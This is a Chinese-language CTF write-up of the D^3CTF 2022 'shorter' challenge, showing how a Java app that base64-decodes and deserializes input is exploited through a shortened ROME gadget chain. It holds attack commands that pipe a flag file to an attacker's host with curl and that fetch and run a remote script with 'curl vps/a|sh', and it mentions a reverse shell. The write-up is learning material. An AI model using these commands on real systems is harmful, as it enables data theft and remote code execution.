[D^3CTF 2022] shortes

拿到jar包,审一下源码。

先看pom.xml的依赖:

rome反序列化没跑了。

再看到MainController.java:

这里设置了一个hello路由,可以传参baseStr,但是长度不能超过1956,如果满足条件,就会到下面base64解码然后反序列化。

其他的没啥好看的。

所以思路还是很明显的,就是写一个rome链的反序列化,而且base64编码后长度不能超过1956。

遗憾的是,直接用ysoserial打会显示payload过长:

足足4504的长度,我去。

分析来自2022d3CTF 部分web题基础知识学习-CSDN博客

原来的rome1.0在yoserial这个工具中生成的利用链如下:

TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String) //5 这些序号有小到大表示调试的时候经过的函数
ToStringBean.toString() //4
ObjectBean.toString() //3
EqualsBean.beanHashCode() //2
ObjectBean.hashCode() //1

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

之后就按照ROME反序列化分析 (c014.cn)不断的给赋值,或者缩短链子,但是最后仍然太长,有一种比较接近我们做法的非预期解是通过终极Java反序列化Payload缩小技术 | 4ra1n用javassit把eval方法重写一遍。但是这个网站打不开了,呃呃。

 

预期解是用ysoserial上的链子来完成的,没去考虑 ROME 的其他更短的链子。

因为 

Runtime.getRuntime().exec()

对于命令中带有|、<、>等符号时无法正常执行,无法达到我们本来想达到的目的,

而我们平时则会通过Base64编码的方式来解决这个问题,但是这无疑使生成的 payload变得很长。

所以我们可以用

ProcessBuilder().start() 

来解决这个问题。

可以用vps监听port,然后http起一个服务路由a:

cat /flag | curl -F 'a=@-' vps:port

然后exp里执行:

sh -c "curl vps/a|sh"

也可以直接curl反弹shell。

 

pom.xml:

  <dependencies>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm</artifactId>
      <version>9.2</version>
    </dependency>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm-commons</artifactId>
      <version>9.2</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>

    <dependency>
      <groupId>rome</groupId>
      <artifactId>rome</artifactId>
      <version>1.0</version>
    </dependency>
  </dependencies>

官方的EXP贴一下:d3ctf2022-shorter/shorter/web_shorter/src/main/java/org/example at main · la0t0ng/d3ctf2022-shorter (github.com)

 

参考:Java安全之ROME反序列化利用分析 (yuque.com)

我输入bash的会超,牛魔,刚好1956:

用sh的方法(其实这里不加html后缀也行,更短,但是已经够了):

终于!

提一嘴,我get传参就寄,post就ok了。

这次算是学到了rome反序列化和sh下shell交互的一手方法吧。

posted @ 2024-04-30 21:23  Eddie_Murphy  阅读(26)  评论(0编辑  收藏  举报